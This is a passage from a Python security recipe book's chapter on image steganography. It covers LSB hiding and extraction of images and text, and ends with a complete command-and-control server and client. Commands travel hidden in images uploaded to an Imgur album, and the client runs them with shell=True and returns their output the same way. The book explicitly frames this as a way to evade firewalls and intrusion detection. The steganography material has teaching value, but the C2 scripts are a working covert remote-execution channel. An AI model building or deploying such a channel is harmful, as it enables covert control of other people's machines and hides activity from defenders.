            "text": "109\n6\nImage Analysis and \nManipulation\nIn this chapter, we will cover the following recipes:\nf\nf\nHiding a message by using LSB steganography\nf\nf\nExtracting message hidden in LSB\nf\nf\nHiding text in image\nf\nf\nExtracting text from images\nf\nf\nCommand and control by using steganography\nIntroduction\nSteganography is the art of hiding data in plain sight. This can be useful if you want to mask \nyour tracks. We can use steganography to evade detection by firewalls and IDS. In this chapter, \nwe are going to look at some of the ways in which Python can help us to hide data within \nimages. We will go through some basic image steganography using the least significant \nbit (LSB) to hide our data, and then we will create a custom steganography function. The \nculmination of this chapter will be creating a command and control system that uses our \nspecially crafted images to communicate data between a server and client.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 133,
            "text": "Image Analysis and Manipulation\n110\nThe following image is an example of an image that has another hidden within it. You can see \n(or perhaps not see) that it's impossible for the human eye to detect anything:\nHiding a message using LSB steganography\nIn this recipe, we are going to create an image that hides another, using LSB steganography \nmethods. This is one of the most common forms of steganography. As it's no good just having \na means to hide the data, we will also be writing a script to extract the hidden data too.\nGetting ready\nAll of the image work we will encounter in the chapter will make use of the Python Image \nLibrary (PIL). To install the Python image libraries by using PIP on Linux, use the following \ncommand:\n$ pip install PIL\nIf you are installing it on Windows, you may have to use the installers that is available at \nhttp://www.pythonware.com/products/pil/.\nJust make sure that you get the right installer for your Python version.\nIt is worth noting that PIL has been superseded with a newer version PILLOW. But for our \nneeds, PIL will be fine.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 134,
            "text": "Chapter 6\n111\nHow to do it…\nImages are created up by pixels, each of those pixels is made up of red, green, and blue (RGB) \nvalues (for color images anyway). These values range from 0 to 255, and the reason for this \nis that each value is 8 bits long. A pure black pixel would be represented by a tuple of (R(0), \nG(0), B(0)), and a pure white pixel would be represented by (R(255), G(255), B(255)). We will \nbe focusing on the binary representation of the R value for the first recipe. We will be taking \nthe 8-bit values and altering the right-most bit. The reason we can get away with doing this is \nthat a change to this bit will equate to a change of less than 0.4 percent of the red value of \npixel. This is way below what the human eye can detect. \nLet's look at the script now, then we will go through how it works later on:\n  #!/usr/bin/env python\nfrom PIL import Image\ndef Hide_message(carrier, message, outfile):\n    c_image = Image.open(carrier)\n    hide = Image.open(message)\n    hide = hide.resize(c_image.size)\n    hide = hide.convert('1')\n    out = Image.new('RGB', c_image.size)\n    width, height = c_image.size\n    new_array = []\n    for h in range(height):\n        for w in range(width):\n            ip = c_image.getpixel((w,h))\n            hp = hide.getpixel((w,h))\n            if hp == 0: \n                newred = ip[0] & 254\n            else: \n                newred = ip[0] | 1\n            new_array.append((newred, ip[1], ip[2]))\n    out.putdata(new_array)\n    out.save(outfile)\n    print \"Steg image saved to \" + outfile\nHide_message('carrier.png', 'message.png', 'outfile.png')\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 135,
            "text": "Image Analysis and Manipulation\n112\nHow it works…\nFirst, we import the Image module from PIL:\nfrom PIL import Image\nThen, we create our Hide_message function:\ndef Hide_message(carrier, message, outfile):\nThis function takes three parameters, which are as follows:\nf\nf\ncarrier: This is the filename of the image that we are using to hide our other  \nimage in\nf\nf\nmessage: This is the filename of the image that we are going to hide\nf\nf\noutfile: This is the name of the new file that will be generated by our function\nNext, we open the carrier and message images:\nc_image = Image.open(carrier)\nhide = Image.open(message)\nWe then manipulate the image that we are going to hide so that it's the same size (width and \nheight) as our carrier image. We also convert the image that we are going to hide into pure \nblack and white. This is done by setting the image's mode to 1:\nhide = hide.resize(c_image.size)\nhide = hide.convert('1')\nNext, we create a new image and we set the image mode to be RGB and the size to be that of \nthe carrier image. We create two variables to hold the values of the carrier images width and \nheight and we setup an array; this array will hold our new pixel values that we will eventually \nsave into the new image, as shown here:\nout = Image.new('RGB', c_image.size)\nwidth, height = c_image.size\nnew_array = []\nNext comes the main part of our function. We need to get the value of the pixel we want to \nhide. If it's a black pixel, then we will set the LSB of the carriers red pixel to 0, if it's white then \nwe need to set it to 1. We can easily do this by using bitwise operations that uses a mask. If \nwe want to set the LSB to 0 we can AND the value with 254, or if we want to set the value to 1 \nwe can OR the value with 1.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 136,
            "text": "Chapter 6\n113\nWe loop through all the pixels in the image, and once we have our newred values, we append \nthese along with the original green and blue values into our new_array:\n    for h in range(height):\n        for w in range(width):\n            ip = c_image.getpixel((w,h))\n            hp = hide.getpixel((w,h))\n            if hp == 0: \n                newred = ip[0] & 254\n            else: \n                newred = ip[0] | 1\n            new_array.append((newred, ip[1], ip[2]))\n    out.putdata(new_array)\n    out.save(outfile)\n    print \"Steg image saved to \" + outfile\nAt the end of the function, we use the putdata method to add our array of new pixel values \ninto the new image and then save the file using the filename specified by outfile.\nIt should be noted that you must save the image as a PNG file. This is an important step as \nPNG is a lossless algorithm. If you were to save the image as a JPEG for instance, the LSB \nvalues won't be maintained as the compression algorithm that JPEG uses will change the \nvalues we specified.\nThere's more…\nWe have used the Red values LSB for hiding our image in this recipe; however, you could have \nused any of the RGB values, or even all three. Some methods of steganography will split 8 bits \nacross multiple pixels so that each bit will be split across RGBRGBRG, and so on. Naturally, if \nyou want to use this method, your carrier image will need to be considerably larger than the \nmessage you want to hide.\nSee also\nSo, we now have a way of hiding our image. In the following recipe, we will look at extracting \nthat message.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 137,
            "text": "Image Analysis and Manipulation\n114\nExtracting messages hidden in LSB\nThis recipe will allow us to extract messages hidden in images by using the LSB technique \nfrom the preceding recipe.\nHow to do it…\nAs seen in the previous recipe, we used the LSB of the Red value of an RGB pixel to hide \na black or white pixel from an image that we wanted to hide. This recipe will reverse that \nprocess to pull the hidden black and white image out of the carrier image. Let's take a look  \nat the function that will do this:\n#!/usr/bin/env python\nfrom PIL import Image\ndef ExtractMessage(carrier, outfile):\n    c_image = Image.open(carrier)\n    out = Image.new('L', c_image.size)\n    width, height = c_image.size\n    new_array = []\n    for h in range(height):\n        for w in range(width):\n            ip = c_image.getpixel((w,h))\n            if ip[0] & 1 == 0:\n                new_array.append(0)\n            else:\n                new_array.append(255)\n    out.putdata(new_array)\n    out.save(outfile)\n    print \"Message extracted and saved to \" + outfile\nExtractMessage('StegTest.png', 'extracted.png')\nHow it works…\nFirst, we import the Image module from the Python image library:\nfrom PIL import Image\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 138,
            "text": "Chapter 6\n115\nNext, we set up the function that we will use to extract the messages. The function takes in \ntwo parameters: the carrier image file name and the filename that we want to create with \nthe extracted image:\ndef ExtractMessage(carrier, outfile):\nNext, we create an Image object from the carrier image. We also create a new image for \nthe extracted data; the mode for this image is set to L because we are creating a grayscale \nimage. We create two variables that will hold the width and height of the carrier image. Finally, \nwe set up an array that will hold our extracted data values:\nc_image = Image.open(carrier)\nout = Image.new('L', c_image.size)\nwidth, height = c_image.size\nnew_array = []\nNow, onto the main part of the function: the extraction. We create our for loops to iterate \nover the pixels of the carrier. We use the Image objects and getpixel function to return the \nRGB values of the pixels. To extract the LSB from the Red value of a pixel, we use a bitwise \nmask. If we use a bitwise AND with the Red value using a mask of 1, we will get a 0 returned \nif the LSB was 0, and 1 returned if it was 1. So, we can put that into an if statement to \ncreate the values for our new array. As we are creating a grayscale image, the pixel values \nrange from 0 to 255, so, if we know the LSB is a 1, we convert it to 255. That's pretty much \nall there is to it. All that's left to do is to use our new images putdata method to create the \nimage from the array and then save.\nThere's more…\nSo far, we've looked at hiding one image within another, but there are many other ways of \nhiding different data within other carriers. With this extraction function and the previous \nrecipe to hide an image, we are getting closer to having something we can use to send and \nreceive commands through messages, but we are going to have to find a better way of sending \nactual commands. The next recipe will focus on hiding actual text within an image.\nHiding text in images\nIn the previous recipes, we've looked at hiding images within another. This is all well and good, \nbut our main aim of this chapter is to pass text that we can use in a command and control \nstyle format. The aim of this recipe is to hide some text within an image.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 139,
            "text": "Image Analysis and Manipulation\n116\nHow to do it…\nSo far, we've looked at focusing on the RGB values of a pixel. In PNGs, we can access another \nvalue, the A value. The A value of RGBA is the transparency level of that pixel. In this recipe, \nwe are going to work with this mode, as it will allow us to store 8 bits in the LSBs of each value \nacross two pixels. This means that we can hide a single char value across two pixels, so we \nwill need an image that has a pixel count of at least twice the number of characters we are \ntrying to hide.\nLet's look at the script:\nfrom PIL import Image\ndef Set_LSB(value, bit):\n    if bit == '0':\n        value = value & 254\n    else:\n        value = value | 1\n    return value\ndef Hide_message(carrier, message, outfile):\n    message += chr(0)\n    c_image = Image.open(carrier)\n    c_image = c_image.convert('RGBA')\n    out = Image.new(c_image.mode, c_image.size)\n    pixel_list = list(c_image.getdata())\n    new_array = []\n    for i in range(len(message)):\n        char_int = ord(message[i])\n        cb = str(bin(char_int))[2:].zfill(8)\n        pix1 = pixel_list[i*2]\n        pix2 = pixel_list[(i*2)+1]\n        newpix1 = []\n        newpix2 = []\n        for j in range(0,4):\n            newpix1.append(Set_LSB(pix1[j], cb[j]))\n            newpix2.append(Set_LSB(pix2[j], cb[j+4]))\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 140,
            "text": "Chapter 6\n117\n        new_array.append(tuple(newpix1))\n        new_array.append(tuple(newpix2))\n    new_array.extend(pixel_list[len(message)*2:])\n    out.putdata(new_array)\n    out.save(outfile)\n    print \"Steg image saved to \" + outfile\nHide_message('c:\\\\python27\\\\FunnyCatPewPew.png', 'The quick brown  \n  fox jumps over the lazy dogs back.', 'messagehidden.png')\nHow it works…\nFirst, we import the Image module from PIL:\nfrom PIL import Image\nNext we set up a helper function that will assist in setting the LSB of the value we pass in \nbased on the binary to be hidden:\ndef Set_LSB(value, bit):\n    if bit == '0':\n        value = value & 254\n    else:\n        value = value | 1\n    return value\nWe are using a bitmask to set the LSB-based on whether the binary value we pass in is either \na 1 or 0. If it's a 0, we use the bitwise AND with a mask of 254 (11111110), and if it's a 1, we \nbitwise OR with a mask of 1 (00000001). The resulting value is returned from our function.\nNext up, we create our main Hide_message method that takes three parameters: the \nfilename for our carrier image, a string for the message we want to hide, and finally, the \nfilename of the image we will create for the output:\ndef Hide_message(carrier, message, outfile):\nThe next line of code adds the value of 0x00 to the end of our string. This will be important in \nthe extraction function as it will let us know that we've reached the end of the hidden text. We \nuse the chr() function to convert 0x00 to a string-friendly representation:\nmessage += chr(0)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 141,
            "text": "Image Analysis and Manipulation\n118\nThe following section of the code creates two image objects: one of our carrier and one for the \noutput image. For our carrier image, we change the mode to RGBA to make sure we have the \nfour values per pixel. We then create a few arrays: pixel_list is all the pixel data from our \ncarrier image and new_array will hold all the new pixel values for our combined carrier \nand message image:\nc_image = Image.open(carrier) \nc_image = c_image.convert('RGBA')\nout = Image.new(c_image.mode, c_image.size)\npixel_list = list(c_image.getdata())\nnew_array = []\nNext, we loop over each character in our message in a for loop:\nfor i in range(len(message)):\nWe start by converting the character to an int:\nchar_int = ord(message[i])\nWe then convert that int to a binary string, we zfill the string to ensure that it's 8 \ncharacter long. This will make it easier later on. When you use bin(), it will prefix the  \nstring with 0 bits, so the [2:] just strips that out:\ncb = str(bin(char_int))[2:].zfill(8)\nNext, we create two pixel variables and populate them. We use the current messages \ncharacter index *2 for the first of the pixels and the (current messages character index *2) \nand 1 for the second. This is because we are using two pixels per character:\npix1 = pixel_list[i*2]\npix2 = pixel_list[(i*2)+1]\nNext, we create two arrays that will hold the values of the hidden data:\nnewpix1 = []\nnewpix2 = []\nNow that everything is set up, we can start to change the values of the pixel data we iterate 4 \ntimes (for the RGBA values) and call our helper method to set the LSB. The newpix1 function \nwill contain the first 4 bits of our 8-bit character; newpix2 will have the last 4:\nfor j in range(0,4):\n            newpix1.append(Set_LSB(pix1[j], cb[j]))\n            newpix2.append(Set_LSB(pix2[j], cb[j+4]))\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 142,
            "text": "Chapter 6\n119\nOnce we have our new values, we will convert them to tuples and append them to the  \nnew_array:\nnew_array.append(tuple(newpix1))\nnew_array.append(tuple(newpix2))\nThe following is an image that describes what we will achieve:\nMessage Character\n01101111\nR\nG\nB\nA\nR\nG\nB\nA\n(                                                  )\nxxxxxxx1 xxxxxx1 xxxxxxx0\nxxxxxxx0\nPixel 1\n(                                                  )\nxxxxxxx1 xxxxxx1 xxxxxxx1\nxxxxxxx1\nPixel 2\nAll that's left to do is extend the new_array method with the remaining pixels from our carrier \nimage and then save it using the filename parameter that was passed in to our Hide_\nmessage function:\nnew_array.extend(pixel_list[len(message)*2:])\nout.putdata(new_array)\nout.save(outfile)\nprint \"Steg image saved to \" + outfile\nThere's more…\nAs stated at the start of this recipe, we need to make sure that the carrier images pixel count \nis twice the size of our message that we want to hide. We could add in a check for this, like so:\nif len(message) * 2 < len(list(image.getdata())):\n  #Throw an error and advise the user\nThat's pretty much it for this recipe; we can now hide text in an image, and also with the \nprevious recipes, we can hide images too. In the next recipe, we will extract the text data out.\nExtracting text from images\nIn the previous recipe, we saw how to hide text in the RGBA values of an image. This recipe will \nlet us extract that data out.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 143,
            "text": "Image Analysis and Manipulation\n120\nHow to do it…\nWe saw in the previous recipe that we split up a characters byte into 8 bits and spread them \nover the LSBs of two pixels. Here's that diagram again as a refresher:\nMessage Character\n01101111\nR\nG\nB\nA\nR\nG\nB\nA\n(                                                  )\nxxxxxxx1 xxxxxx1 xxxxxxx0\nxxxxxxx0\nPixel 1\n(                                                  )\nxxxxxxx1 xxxxxx1 xxxxxxx1\nxxxxxxx1\nPixel 2\nThe following is the script that will do the extraction:\nfrom PIL import Image\nfrom itertools import izip\ndef get_pixel_pairs(iterable):\n    a = iter(iterable)\n    return izip(a, a)\ndef get_LSB(value):\n    if value & 1 == 0:\n        return '0'\n    else:\n        return '1'\ndef extract_message(carrier):\n    c_image = Image.open(carrier)\n    pixel_list = list(c_image.getdata())\n    message = \"\"\n    for pix1, pix2 in get_pixel_pairs(pixel_list):\n        message_byte = \"0b\"\n        for p in pix1:\n            message_byte += get_LSB(p)\n        for p in pix2:\n            message_byte += get_LSB(p)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 144,
            "text": "Chapter 6\n121\n        if message_byte == \"0b00000000\":\n            break\n        message += chr(int(message_byte,2))\n    return message\nprint extract_message('messagehidden.png')\nHow it works…\nFirst, we import the Image module from PIL; we also import the izip module from \nitertools. The izip module will be used to return pairs of pixels:\nfrom PIL import Image\nfrom itertools import izip\nNext, we create two helper functions. The get_pixel_pairs function takes in our pixel list \nand returns the pairs back; as each message character was split over two pixels, this makes \nextraction easier. The other helper function get_LSB will take in an R, G, B, or A value and \nuse a bit mask to get the LSB value and return it in a string format:\ndef get_pixel_pairs(iterable):\n    a = iter(iterable)\n    return izip(a, a)\ndef get_LSB(value):\n    if value & 1 == 0:\n        return '0'\n    else:\n        return '1'\nNext, we have our main extract_message function. This takes in the filename of our  \ncarrier image:\ndef extract_message(carrier):\nWe then create an image object from the filename passed in and then create an array of \npixels from the image data. We also create an empty string called message; this will hold our \nextracted text:\nc_image = Image.open(carrier)\npixel_list = list(c_image.getdata())\nmessage = \"\"\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 145,
            "text": "Image Analysis and Manipulation\n122\nNext, we create a for loop that will iterate over all of the pixel pairs returned using our helper \nfunction get_pixel_pairs; we set the returned pairs to pix1 and pix2:\nfor pix1, pix2 in get_pixel_pairs(pixel_list):\nThe next part of code that we will create is a string variable that will hold our binary string. \nPython knows that it'll be the binary representation of a string by the 0b prefix. We then \niterate over the RGBA values in each pixel (pix1 and pix2) and pass that value to our helper \nfunction, get_LSB, the value that's returned is appended onto our binary string:\nmessage_byte = \"0b\"\nfor p in pix1:\n    message_byte += get_LSB(p)\nfor p in pix2:\n    message_byte += get_LSB(p)\nWhen the preceding code runs, we will get a string representation of the binary for the \ncharacter that was hidden. The string will look like this 0b01100111, we placed a stop \ncharacter at the end of the message that was hidden that will be 0x00, when this is outputted \nby the extraction part we need to break out of the for loop as we know we have hit the end of \nthe hidden text. The next part does that check for us:\nif message_byte == \"0b00000000\":\n            break\nIf it's not our stop byte, then we can convert the byte to its original character and append it \nonto the end of our message string:\nmessage += chr(int(message_byte,2))\nAll that's left to do is return the complete message string back from the function.\nThere's more…\nNow that we have our hide and extract functions, we can put them together into a class \nthat we will use for the next recipe. We will add a check to test if the class has been used by \nanother or if it is being run on its own. The whole script looks like the following. The hide and \nextract functions have been modified slightly to accept an image URL; this script will be \nused in the C2 example in Chapter 8, Payloads and Shells:\n#!/usr/bin/env python\nimport sys\nimport urllib\nimport cStringIO\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 146,
            "text": "Chapter 6\n123\nfrom optparse import OptionParser\nfrom PIL import Image\nfrom itertools import izip\ndef get_pixel_pairs(iterable):\n    a = iter(iterable)\n    return izip(a, a)\ndef set_LSB(value, bit):\n    if bit == '0':\n        value = value & 254\n    else:\n        value = value | 1\n    return value\ndef get_LSB(value):\n    if value & 1 == 0:\n        return '0'\n    else:\n        return '1'\ndef extract_message(carrier, from_url=False):\n    if from_url:\n        f = cStringIO.StringIO(urllib.urlopen(carrier).read())\n        c_image = Image.open(f)\n    else:\n        c_image = Image.open(carrier)\n    pixel_list = list(c_image.getdata())\n    message = \"\"\n    for pix1, pix2 in get_pixel_pairs(pixel_list):\n        message_byte = \"0b\"\n        for p in pix1:\n            message_byte += get_LSB(p)\n        for p in pix2:\n            message_byte += get_LSB(p)\n            \n        if message_byte == \"0b00000000\":\n            break\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 147,
            "text": "Image Analysis and Manipulation\n124\n        message += chr(int(message_byte,2))\n    return message\ndef hide_message(carrier, message, outfile, from_url=False):\n    message += chr(0)\n    if from_url:\n        f = cStringIO.StringIO(urllib.urlopen(carrier).read())\n        c_image = Image.open(f)\n    else:\n        c_image = Image.open(carrier)\n        \n    c_image = c_image.convert('RGBA')\n    out = Image.new(c_image.mode, c_image.size)\n    width, height = c_image.size\n    pixList = list(c_image.getdata())\n    newArray = []\n    for i in range(len(message)):\n        charInt = ord(message[i])\n        cb = str(bin(charInt))[2:].zfill(8)\n        pix1 = pixList[i*2]\n        pix2 = pixList[(i*2)+1]\n        newpix1 = []\n        newpix2 = []\n        for j in range(0,4):\n            newpix1.append(set_LSB(pix1[j], cb[j]))\n            newpix2.append(set_LSB(pix2[j], cb[j+4]))\n        newArray.append(tuple(newpix1))\n        newArray.append(tuple(newpix2))\n    newArray.extend(pixList[len(message)*2:])\n    out.putdata(newArray)\n    out.save(outfile)\n    return outfile   \nif __name__ == \"__main__\":\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 148,
            "text": "Chapter 6\n125\n    usage = \"usage: %prog [options] arg1 arg2\"\n    parser = OptionParser(usage=usage)\n    parser.add_option(\"-c\", \"--carrier\", dest=\"carrier\",\n                help=\"The filename of the image used as the  \n                carrier.\",\n                metavar=\"FILE\")\n    parser.add_option(\"-m\", \"--message\", dest=\"message\",\n                help=\"The text to be hidden.\",\n                metavar=\"FILE\")\n    parser.add_option(\"-o\", \"--output\", dest=\"output\",\n                help=\"The filename the output file.\",\n                metavar=\"FILE\")\n    parser.add_option(\"-e\", \"--extract\",\n                action=\"store_true\", dest=\"extract\",  \n                default=False,\n                help=\"Extract hidden message from carrier and  \n                save to output filename.\")\n    parser.add_option(\"-u\", \"--url\",\n                action=\"store_true\", dest=\"from_url\",  \n                default=False,\n                help=\"Extract hidden message from carrier and  \n                save to output filename.\")\n    (options, args) = parser.parse_args()\n    if len(sys.argv) == 1:\n        print \"TEST MODE\\nHide Function Test Starting ...\"\n        print hide_message('carrier.png', 'The quick brown fox  \n        jumps over the lazy dogs back.', 'messagehidden.png')\n        print \"Hide test passed, testing message extraction ...\"\n        print extract_message('messagehidden.png')\n    else:\n        if options.extract == True:\n            if options.carrier is None:\n                parser.error(\"a carrier filename -c is required  \n                for extraction\")\n            else:\n                print extract_message(options.carrier,  \n                options.from_url)\n        else:\n            if options.carrier is None or options.message is None  \n            or options.output is None:\n                parser.error(\"a carrier filename -c, message  \n                filename -m and output filename -o are required  \n                for steg\")\n            else:\n                hide_message(options.carrier, options.message,  \n                options.output, options.from_url)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 149,
            "text": "Image Analysis and Manipulation\n126\nEnabling command and control using \nsteganography\nThis recipe will show how steganography can be used to control another machine. This can be \nhandy if you are trying to evade Intrusion Detection System (IDS)/firewalls. The only traffic \nthat would be seen in this scenario is HTTPS traffic to and from the client machine. This recipe \nwill show a basic server and client setup.\nGetting ready\nIn this recipe, we will use the image sharing website Imgur to host our images. The reason \nfor this is simply that the Python API for Imgur is easy to install and simple to use. You could \nchoose to work with another, though. However, you will need to create an account with Imgur if \nyou wish to use this script and also register an application to get the API Key and Secret. Once \nthis is done, you can install the imgur Python libraries by using pip:\n$ pip install imgurpython\nYou can register for an account at http://www.imgur.com.\nOnce signed up for an account, you can register an app to obtain an API Key and Secret from \nhttps://api.imgur.com/oauth2/addclient.\nOnce you have your imgur account, you'll need to create an album and upload an image to it.\nThis recipe will also import the full stego text script from the previous recipe.\nHow to do it…\nThe way this recipe works is split into two parts. We will have one script that will run and act \nas a server, and another script that will run and act as the client. The basic steps that our \nscripts will follow is detailed in the following:\n1.\t The server script is run.\n2.\t The server waits for the client to announce it's ready.\n3.\t The client script is run.\n4.\t The client informs the server that it's ready.\n5.\t The server shows that the client is waiting and prompts user for command to  \nsend over to client.\n6.\t The server sends a command.\n7.\t\nThe server waits for a response.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 150,
            "text": "Chapter 6\n127\n8.\t The client receives command and runs it.\n9.\t The client sends output from command back to the server.\n10.\t The server receives output from the client and displays it to the user.\n11.\t The steps 5 to 10 are repeated until a quit command is sent.\nWith these steps in mind, let's take a look first at the server script:\nfrom imgurpython import ImgurClient\nimport StegoText, random, time, ast, base64\ndef get_input(string):\n    ''' Get input from console regardless of python 2 or 3 '''\n    try:\n        return raw_input(string)\n    except:\n        return input(string)\ndef create_command_message(uid, command):\n    command = str(base64.b32encode(command.replace('\\n','')))\n    return \"{'uuid':'\" + uid + \"','command':'\" + command + \"'}\"\ndef send_command_message(uid, client_os, image_url):\n    command = get_input(client_os + \"@\" + uid + \">\")\n    steg_path = StegoText.hide_message(image_url,  \n    create_command_message(uid, command), \"Imgur1.png\", True)\n    print \"Sending command to client ...\"\n    uploaded = client.upload_from_path(steg_path)\n    client.album_add_images(a[0].id, uploaded['id'])\n    if command == \"quit\":\n        sys.exit()\n        \n    return uploaded['datetime']\ndef authenticate():\n    client_id = '<REPLACE WITH YOUR IMGUR CLIENT ID>'\n    client_secret = '<REPLACE WITH YOUR IMGUR CLIENT SECRET>'\n    client = ImgurClient(client_id, client_secret)\n    authorization_url = client.get_auth_url('pin')\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 151,
            "text": "Image Analysis and Manipulation\n128\n    print(\"Go to the following URL:  \n    {0}\".format(authorization_url))\n    pin = get_input(\"Enter pin code: \")\n    credentials = client.authorize(pin, 'pin')\n    client.set_user_auth(credentials['access_token'],  \n    credentials['refresh_token'])\n    return client\nclient = authenticate()\na = client.get_account_albums(\"C2ImageServer\")\nimgs = client.get_album_images(a[0].id)\nlast_message_datetime = imgs[-1].datetime\nprint \"Awaiting client connection ...\"\nloop = True\nwhile loop:\n    time.sleep(5)\n    imgs = client.get_album_images(a[0].id)\n    if imgs[-1].datetime > last_message_datetime:\n        last_message_datetime = imgs[-1].datetime\n        client_dict =   \n        ast.literal_eval(StegoText.extract_message(imgs[-1].link,  \n        True))\n        if client_dict['status'] == \"ready\":\n            print \"Client connected:\\n\"\n            print \"Client UUID:\" + client_dict['uuid']\n            print \"Client OS:\" + client_dict['os']\n        else:\n            print base64.b32decode(client_dict['response'])\n        random.choice(client.default_memes()).link\n        last_message_datetime =  \n        send_command_message(client_dict['uuid'],\n        client_dict['os'],\n        random.choice(client.default_memes()).link)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 152,
            "text": "Chapter 6\n129\nThe following is the script for our client:\nfrom imgurpython import ImgurClient\nimport StegoText\nimport ast, os, time, shlex, subprocess, base64, random, sys\ndef get_input(string):\n    try:\n        return raw_input(string)\n    except:\n        return input(string)\ndef authenticate():\n    client_id = '<REPLACE WITH YOUR IMGUR CLIENT ID>'\n    client_secret = '<REPLACE WITH YOUR IMGUR CLIENT SECRET>'\n    client = ImgurClient(client_id, client_secret)\n    authorization_url = client.get_auth_url('pin')\n    print(\"Go to the following URL:  \n    {0}\".format(authorization_url))\n    pin = get_input(\"Enter pin code: \")\n    credentials = client.authorize(pin, 'pin')\n    client.set_user_auth(credentials['access_token'],  \n    credentials['refresh_token'])\n    return client\nclient_uuid = \"test_client_1\"\nclient = authenticate()\na = client.get_account_albums(\"<YOUR IMGUR USERNAME>\")\nimgs = client.get_album_images(a[0].id)\nlast_message_datetime = imgs[-1].datetime\nsteg_path =  \n  StegoText.hide_message(random.choice(client.default_memes()).  \n  link,  \"{'os':'\" + os.name + \"', 'uuid':'\" + client_uuid +  \n  \"','status':'ready'}\",  \"Imgur1.png\",True)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 153,
            "text": "Image Analysis and Manipulation\n130\nuploaded = client.upload_from_path(steg_path)\nclient.album_add_images(a[0].id, uploaded['id'])\nlast_message_datetime = uploaded['datetime']\nwhile True:\n    \n    time.sleep(5) \n    imgs = client.get_album_images(a[0].id)\n    if imgs[-1].datetime > last_message_datetime:\n        last_message_datetime = imgs[-1].datetime\n        client_dict =   \n        ast.literal_eval(StegoText.extract_message(imgs[-1].link,  \n        True))\n        if client_dict['uuid'] == client_uuid:\n            command = base64.b32decode(client_dict['command'])\n            if command == \"quit\":\n                sys.exit(0)\n            args = shlex.split(command)\n            p = subprocess.Popen(args, stdout=subprocess.PIPE,  \n            shell=True)\n            (output, err) = p.communicate()\n            p_status = p.wait()\n            steg_path =  \n            StegoText.hide_message(random.choice  \n            (client.default_memes()).link,  \"{'os':'\" + os.name +  \n            \"', 'uuid':'\" + client_uuid + \"','status':'response',  \n            'response':'\" + str(base64.b32encode(output)) + \"'}\",  \n            \"Imgur1.png\", True)\n            uploaded = client.upload_from_path(steg_path)\n            client.album_add_images(a[0].id, uploaded['id'])\n            last_message_datetime = uploaded['datetime']\nHow it works…\nFirstly, we create an imgur client object; the authenticate function handles getting the imgur \nclient authenticated with our account and app. When you run the script, it will output a URL \nto visit to get a pin code to enter. It then gets a list of albums for our imgur username. If you \nhaven't created an album yet, the script will fail, so make sure you've got an album ready. We \nwill take the first album in the list and get a further list of all images contained in that album. \nwww.it-ebooks.info\n"
        },
        {
            "page_number": 154,
            "text": "Chapter 6\n131\nThe image list is ordered by putting the earliest uploaded image first; for our script to work, we \nneed to know the timestamp of the latest uploaded image, so we use the [-1] index to get it \nand store it in a variable. When this is done, the server will wait for the client to connect:\nclient = authenticate()\na = client.get_account_albums(\"<YOUR IMGUR ACCOUNT NAME>\")\nimgs = client.get_album_images(a[0].id)\nlast_message_datetime = imgs[-1].datetime\nprint \"Awaiting client connection ...\"\nOnce the server is awaiting a client connection, we can run the client script. The initial start \nof the client script creates an imgur client object, just like the server, instead of waiting; \nhowever, it generates a message and hides it in a random image. This message contains \nthe os type the client is running on (this will make it easier for the server user to know what \ncommands to run), a ready status, and also an identifier for the client (if you wanted to \nexpand on the script to allow multiple clients to connect to the server).\nOnce the image has been uploaded, the last_message_datetime function is set to the \nnew timestamp:\nclient_uuid = \"test_client_1\"\nclient = authenticate()\na = client.get_account_albums(\"C2ImageServer\")\nimgs = client.get_album_images(a[0].id)\nlast_message_datetime = imgs[-1].datetime\nsteg_path =  \n  StegoText.hide_message(random.choice  \n  (client.default_memes()).link,  \"{'os':'\" + os.name + \"',  \n  'uuid':'\" + client_uuid + \"','status':'ready'}\",   \n  \"Imgur1.png\",True)\nuploaded = client.upload_from_path(steg_path)\nclient.album_add_images(a[0].id, uploaded['id'])\nlast_message_datetime = uploaded['datetime']\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 155,
            "text": "Image Analysis and Manipulation\n132\nThe server will wait until it sees the message; it does this by using a while loop and checks \nfor an image datetime later than the one it saved when we fired it up. Once it sees there is a \nnew image, it will download it and extract the message. It then checks the message to see if \nit's the client ready message; if it is, then it displays the uuid client and os type, and it then \nprompts the user for input:\nloop = True\nwhile loop:\n    time.sleep(5)\n    imgs = client.get_album_images(a[0].id)\n    if imgs[-1].datetime > last_message_datetime:\n        last_message_datetime = imgs[-1].datetime\n        client_dict =  \n        ast.literal_eval(StegoText.extract_message(imgs[-1].link,  \n        True))\n        if client_dict['status'] == \"ready\":\n            print \"Client connected:\\n\"\n            print \"Client UUID:\" + client_dict['uuid']\n            print \"Client OS:\" + client_dict['os']\nAfter the user inputs a command, it's encoded up by using base32 in order to avoid  \nbreaking our message string. It's then hidden in a random image and uploaded to imgur.  \nThe client is sat in a while loop awaiting this message. The start of this loop checks the \ndatetime in the same way our server did; if it sees a new image, it checks to see if it's \naddressed to this machine using uuid, and if it is, it will extract the message, convert it into \na friendly format that Popen will accept using shlex, and then run the command using \nPopen. It then waits for the output from the command before hiding it in a random image  \nand uploading it to imgur:\nloop = True\nwhile loop:\n    \n    time.sleep(5) \n    imgs = client.get_album_images(a[0].id)\n    if imgs[-1].datetime > last_message_datetime:\n        last_message_datetime = imgs[-1].datetime\n        client_dict =   \n        ast.literal_eval(StegoText.extract_message(imgs[-1].link,  \n        True))\n        if client_dict['uuid'] == client_uuid:\n            command = base64.b32decode(client_dict['command'])\n            \n            if command == \"quit\":\n                sys.exit(0)\n                \nwww.it-ebooks.info\n"
        },
        {
            "page_number": 156,
